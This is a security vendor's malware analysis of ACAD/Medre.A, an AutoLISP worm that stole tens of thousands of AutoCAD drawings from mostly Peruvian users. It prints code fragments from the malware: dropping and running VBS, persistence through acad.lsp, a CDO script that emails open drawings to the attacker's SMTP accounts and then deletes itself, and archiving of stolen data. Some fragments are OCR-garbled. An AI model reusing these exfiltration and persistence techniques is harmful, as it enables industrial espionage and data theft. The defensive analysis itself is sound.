10000's of AutoCAD Designs Leaked in Suspected Industrial Espionage







Summary

Recently the worm, ACAD/Medre.A, showed a big spike in Peru on ESET's Live Grid® (a cloud-based malware collection system utilizing data from ESET users worldwide). ESET's research shows that the worm steals AutoCAD drawings and sends them to email accounts located in China. ESET has worked with Chinese ISP Tencent, Chinese National Computer Virus Emergency Response Center and Autodesk, the creator of AutoCAD, to stop the transmission of these files. ESET confirms that tens of thousands of AutoCAD drawings, primarily from users in Peru, were leaking at the time of the discovery.

"After some configuration, ACAD/Medre.A sends opened AutoCAD drawings by e-mail to a recipient with an e-mail account at the Chinese 163.com internet provider. It will try to do this using 22 other accounts at 163.com and 21 accounts at qq.com, another Chinese internet provider."

"ACAD/Medre.A represents a serious case of possible industrial espionage. Every new design is sent automatically to the operator of this malware. Needless to say this can cost the legitimate owner of the intellectual property a lot of money as the cybercriminals have access to the designs even before they go into production. They may even have the guts to apply for patents on the product before the inventor has registered it at the patent office."





The Story

The malware news today is all about new targeted, high-tech, military grade malicious code such as Stuxnet, Duqu and Flamer that have grabbed headlines. So imagine our surprise when an AutoLISP virus, AutoLISP is the scripting language that AutoCAD uses, suddenly showed a big spike in one country on ESET's Live Grid[®] two months ago, and this country is Peru.

We have seen other small number of infections of ACAD/Medre.A in other countries, but they are all in countries that are near Peru or have a large Spanish speaking contingent. The odd one out in the infection table would be the People's Republic of China, but not quite so weird when we started to analyze the virus based on this sudden spike. More about China will follow later.

Of course it does not mean much that we see high detection numbers because they may not all be live infections. But watching ESET's Live Grid[®], where we can also see detections at specific URLs, which made it clear that a specific website supplied the AutoCAD template that appears to be the basis for this localized spike as this template was also infected with ACAD/Medre.A. If it is assumed that companies which want to do business with the entity have to use this template, it seems logical that the malware mainly shows up in Peru and neighboring countries. The same is true for larger companies with affiliated offices outside this area that have been asked to assist or to verify the – by then – infected project and then infecting their own environment. Other information that is described later also points to live infections.





So what exactly is ACAD/Medre.A?

ACAD/Medre.A is a worm written in AutoLISP, a dialect of the LISP programming language used in AutoCAD.

ESET detects it as ACAD/Medre.A worm, however the malware also has characteristics which are attributed to a virus or a trojan. It's a worm, because it aids its spreading by copying its body into the folder of any opened AutoCAD drawing on the infected system (similarly to the way worms create autorun.inf entries on removable media), so if the user would compress the AutoCAD project folder and send it to someone else, they would be sending the worm along with it.It's a trojan, as it mostly relies on the user to - inadvertently, but manually – download it onto his system. It sneaks in alongside legitimate AutoCAD drawings. Or, in a way, it's also a virus, as it infects the installed AutoCAD environment (similarly to the way the Win32/ Induc virus infected the Delphi environment). But it doesn't infect executable files like a common parasitic virus.

But terminology aside, let's take a look at what the Medre malware does.

Technical Analysis

In short, the functions carried out by the worm are:

- 1. Copying itself to various locations: This serves two main purposes: to ensure its repeated execution (i.e. installation) and chance to spread (distribution).
- 2. The malicious payload: Stealing AutoCAD drawings from the infected system.

In the following text, we'll document how these tasks are accomplished. Although the malware is written in AutoLISP, its main functions are carried out by Visual Basic Scripts, which are dropped and executed by the VBS interpreter (Wscript.exe) that is integrated in the operating system since Windows 2000. This is shown in the following code snippet, where the VBS script was previously stored to the MK-INFO-BIN variable.

- 18 (setq MK_FILE-TEMP-B (OPEN (setq MK_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs")) "w"))
- 19 (MAPCAR '(LAMBDA '(X) '(WRITE-LINE X MK_FILE-TEMP-B)) MK-INFO-BIN)
- 20 (CLOSE MK_FILE-TEMP-B)
- 21 (STARTAPP (STRCAT (GETENV "windir") "\System32\wscript.exe") MK_FILE-TEMP-A 2)

⁽setq MK_FILE-TEMP-A (VL-FILENAME-MKTEMP nil nil ".vbs"))



ACAD/Medre.A (its original filename is acad.fas – the hidden file that was planted alongside a legitimate DWG) tries to copy itself to the following locations:

- %windir%\System32\Acad.fas
- %windir%\Acad.fas
- %current_working_directory_of_DWG%\cad.fas
- %current_working_directory_of_DWG%\acad.fas
- %ACAD_support_directory%\cad.fas
- %ACAD_support_directory%\acad.fas

Here's an example of a VBS script from the worm to perform these copy operations:



ACAD/Medre.A also modifies the acad2o??.Isp file inside the AutoCAD Support directory. First, it checks which version of AutoCAD is installed, in order to determine the correct filename:

24	(cond (WCMATCH ACADOBJ "*14.0*") (
25	└ (cond (WCMATCH ACADOBJ "*15.0*") (
26	(cond (WCMATCH ACADOBJ "*16.0*") (
27	E (cond (WCMATCH ACADOBJ "*16.1*") (
28	Cond (WCMATCH ACADOBJ "*16 2*") (
20	(cond (WCMATCH ACADODI 10.24)) (
29	(cond (WCMAICH ACADOBU **17.0**) (
30	Cond (WCMATCH ACADOBJ "*17.1*") (
31	Cond (WCMATCH ACADOBJ "*17.2*") (
32	(cond (WCMATCH ACADOBJ "*18.0*") (
33	(cond (WCMATCH ACADOBJ "*18.1*") (
34	└ (cond (WCMATCH ACADOBJ "*18.2*") (
35	Cond (WCMATCH ACADOBJ "*19.0*") (
36	Cond (WCMATCH ACADOBJ "*19.1*") (
37	E (cond (WCMATCH ACADOBJ "*19.2*") (
38	normal cond
30	(NCMATCH ACADORI ##19 2##)
33	(WCHATCH ACADOBO "19.2")
40	(setq AUTOFILE "acad2015.lsp")
41	normal cond
42	"acad2015.lsp"
43	(setq AUTOFILE "acad2014.lsp")
44	normal cond
45	"acad2014.lsp"
46	(setg AUTOFILE "acad2013.lsp")
47	normal cond



Interestingly, the malware authors provide compatibility for AutoCAD versions 2000 (14.0) through 2015 (19.2).

Once the correct filename is determined, the worm tries to locate the acad20??.lsp file and add one line of code ("(if (findfile "cad.fas")(load "cad.fas"))") to it:



If the file is not present, it is created with the following content:Automating the deobfuscation of these 3 techniques makes it much easier to understand the behavior of the malware.

The abovementioned actions ensure that the malicious code is executed whenever an AutoCAD drawing (.DWG) is opened on the infected system. More information on automatic loading of AutoLISP routines can be found in the official AutoCAD documentation.

In addition to this, there's a reason why the script (even when already running on an infected system) is copied to the directory of the currently opened DWG. If the user, would want to send his drawings to someone else, it is likely that he will add the whole directory into an archive and send the worm along with it.

Payload

After some configuration, ACAD/Medre.A will be sending the different AutoCAD drawings (and other information) that are opened by e-mail to a recipient with an e-mail account at the Chinese 163.com internet provider. It will try to do this using one of 22 other accounts at 163.com and one of 21 accounts at qq.com, another Chinese internet provider. Remarkably, this is done by accessing smtp.163.com and smtp.qq.com with the different account credentials. It is ill advised to have port 25 outgoing allowed other than to your own ISP. Obviously the Internet Providers in Peru do allow this. Also it is reasonable to assume that the companies that are a victim of this suspected industrial espionage malware do not have their firewalls configured to block port 25 either.



Stealing AutoCAD Drawings

The worm contains two arrays of email account names and passwords (22 accounts at 163.com and 21 accounts at qq.com) which are set in the From field of the outgoing email and used for SMTP authentication. Here's a code snippet showing the selection of which email address to use (with the credentials themselves blurred):

135 (setq MAKEMAIL '(" "
136 (setq YUDJEMIN (REM (FIX (/ (GETVAR "CPUTICKS") 10)) (LENGTH MAKEMAIL)))
137 (setq PRINC-YF-LI (NTH (FIX YUDJEMIN) MAKEMAIL))

Notice the use of CPUTICKS for randomization (the NTH function selects the Nth value of an array).

The following figure shows the VBS script responsible for sending the drawing files to the attacker:

1	ON ERROR RESUME NEXT
2	NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
3	<pre>Set Email = CreateObject("CDO.Message")</pre>
4	Email.From = PRINC-YFMC
5	Email.To = "
6	Email.Subject = VL-INFO-C
7	
8	Email.Textbody = VL-FILE-FNAM-H
9	
10	Email.AddAttachment VL-FILE-FNAM-H
11	
12	With Email.Configuration.Fields
13	.Item(NameSpace&"sendusing") = 2
14	.Item(NameSpaces"smtpserver") = PRINC-YJFWQ
15	.Item(NameSpaces"smtpserverport") = 25
16	.Item(NameSpaces"smtpauthenticate") = 1
17	.Item(NameSpace&"sendusername") = PRINC-YFM
18	.Item(NameSpaces"sendpassword") = PRINC-YXMM
19	.Update
20	End With
21	Email.Send
22	
23	<pre>createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete</pre>
24	



Note that the variables PRINC-YFMC, PRINC-YJFWQ, PRINC-YFM and PRINC-YXMM are filled with values corresponding to the randomly selected email address, SMTP server, email username, email password, respectively. VL-FILE-FNAM-H points to the currently opened DWG (it is included as an attachment and the file path in the email body) and VL-INFO-C is a concatenation of the computer name and user name:

180 (setq VL-INFO-C (STRCAT (GETENV "COMPUTERNAME") "+" (GETENV "USERNAME")))

Other Exfiltrated Data

Apart from emailing the stolen AutoCAD drawings, the worm also contains code for stealing e-mail client files, as well as a copy of itself and auxiliary information.

ACAD/Medre.A can steal Outlook .PST files (Outlook Personal Folders), as referenced by the following Registry keys:

- [HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Catalog]
- [HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Outlook\Catalog]
- [HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Catalog]

and files belonging to the Foxmail email client. The installation directory of Foxmail is queried from the Registry entry:

• [HKEY_CURRENT_USER\Software\Aerofox\Foxmail] "Executable"

and the following strings are appended to create paths to the files for exfiltration:

- "\Address\Address.INDX"
- "\Address\Address.BOX"
- "\Address\Send.INDX"
- "\Address\Send.BOX"

Note that due to a programming error this part of code may not work. The stealing / emailing mechanism is similar as described above.

Lastly, the worm prepares a RAR archive, also to be sent by email.

1	ON ERROR RESUME NEXT
2	<pre>Set WshShell = WScript.CreateObject("WScript.Shell")</pre>
3	<pre>set so=createobject("scripting.filesystemobject")</pre>
4	
5	so.getfile("%path to acad.fas%").copy("%windir%\System32\!ȤÎg>úDµÖEĹ4\acad.fas")
6	
7	WshShell.run "attrib +h +R %windir%\System32\!Ȥζ>úĐµÖÆÍ4\acad.fas",0
8	ml="%windir%\System32\Ȥζ»úĐµÖÆI4.rar"
9	m2="%windir%\System32\!ȤÍq»úĐµÖÆĺ4"
10	mm="WinRAR m -ep1 -hp1 "&m1&m2"
11	
12	<pre>myre = WshShell.Run(mm , 0, True)</pre>
13	createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete



Ȥζ»úÐµÖÆÍ¼.rar - \	WinRAR	-					
File Commands Too	ls Favo	orites O	ptions He	lp			
Add Extract To	Test	00 View	Delete	Find	Wizard	Info	VirusScan
🚹 Ȥζ»úеÖ	ÆÍ¼.rar	\!Ȥζ»ú£)µÖÆÍ¼ - R	AR archive	, unpacked	size 12,	498 bytes
Name	Size	Pac	Туре				Modified
B			File folder				
\Lambda acad.fas *	12,334	10,128	DWG True	View Fast-I	oad AutoLI	SP File	16/03/2005 12:08
<mark></mark> Ȥζ»úÐµÖÆÍ¼.dxf *	164	144	DWG True	View Drawi	ing Intercha	inge	04/05/2012 17:49

The contents of the directory compressed in the encrypted RAR archive (password = "1") are:

- -Acad.fas (worm body)
- -Ȥζ»úеÖÆÍ¼.dxf

("Ȥζ»úеÖÆĺ¼" is 趣味机械制图 in Chinese encoding).

The .DXF file (AutoCAD Drawing Exchange Format) is generated by ACAD/Medre.A and contains metadata regarding the stolen AutoCAD drawing:

1	"0"
2	"SECTION"
3	"2"
4	"HEADER"
5	"9"
6	"\$ACADVER"
7	"1"
8	"AC1015"
9	"9"
10	"\$ACADMAINTVER"
11	"70"
12	"20"
13	"9"
14	"\$DWGCODEPAGE"
15	"3"
16	"ANSI_936"
17	"9"
18	"\$INSBASE"
19	"SHADEPLOTCUSTOMDPI"
20	"70"
21	"300"
22	"0"
23	"ENDSEC"
24	"0"
25	"EOF"



Other Information

ACAD/Medre.A uses the following Registry entries to store its internal data, such as timestamps:

[HKCU\Software\Microsoft\Windows\Windows Error Reporting]
 "FILE"
 "FILE-G"
 "FILE-H"

"Time"

Note that the [HKCU\Software\Microsoft\Windows\Windows Error Reporting] Registry key is a legitimate one, only the 4 abovementioned entries are used by the malware.

MD5 of the analysed sample: 7b56374of41e495a68b70cbb22980b20

The Stolen Data

When our analysts looked into the e-mail accounts used by ACAD/ Medre.A, they noticed that the Inbox for each of them was already full (over 100,000 mails). All of the messages in the Inbox were errormessages as the Inbox of the final recipient is full. And there were still almost 5,000 emails to be sent.

PC- @qq.com> [] □ □ 201205150(□□) □ 11:32 (UTC-05:00 □ □ □ □ □ □ □) □ □ 1 □ (] □ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
C:\Users\\Desktop\Nueva carpeta\

As the path and filename are sent with the attachment, we could do some analysis just based on the location where the drawings are stored and their possible content. Our analysis also shows that several people actually use an Administrator Account or store their projects on the Desktop. The pie-chart does not reflect all the different possibilities, just the most frequently used ones.





From our analysis of all the used e-mail accounts we can derive the scale of the attack and conclude that tens of thousands of AutoCAD drawings (blueprints) leaked.

A Call for Further Action...

This is a significant amount of data leakage and we felt it called for further action. Upon realisation of the magnitude of the problem ESET reached out to Tencent, owners of the qq.com domain. Due to swift quick action on the part of Tencent the accounts used for relaying the e-mails with the drawings have been blocked and thus no further leakage will occur. We would like to express our appreciation to the distinguished team at Tencent's Desktop Security Business Division for their cooperation and their prompt action.

ESET has also reached out to CVERC, the Chinese National Computer Virus Emergency Response Center, and they also responded quickly by word of the First Deputy Director of CVERC, who also assisted in getting the accounts removed.

After the discovery of ACAD/Medre.A, ESET decided to make a free stand-alone cleaner available. The utility can be found here [http://download.eset.com/special/EACADMedreCleaner.exe]. We established contacts with Autodesk, producers of AutoCAD, who immediately took the problem seriously and full assistance was given.



Conclusion

ACAD/Medre.A is a serious example of suspected industrial espionage. Every new design created by a victim is sent automatically to the authors of this malware. Needless to say this can cost the legitimate owner of the intellectual property a lot of money as the cybercriminals will have designs before they even go into production by the original designer. The attacker may even go so far as to get patents on the product before the inventor has registered it at the patent office. The inventor may not know of the security breach until his patent claim is denied due to prior art.

If there is one thing that becomes obvious from our experience with this piece of malware it is that reaching out to other parties to minimize damage is not only the right thing to do, it really works. We could have tried to clean up the problem without the assistance of Autodesk, Tencent and CVERC and solely focus on removal of the malware from the infected machines. By working with Autodesk, Tencent and CVERC, we were able to not only alert and inform users but also defeat the e-mail relay system used by the attackers and deny them access to the e-mail boxes, so the damage is now contained.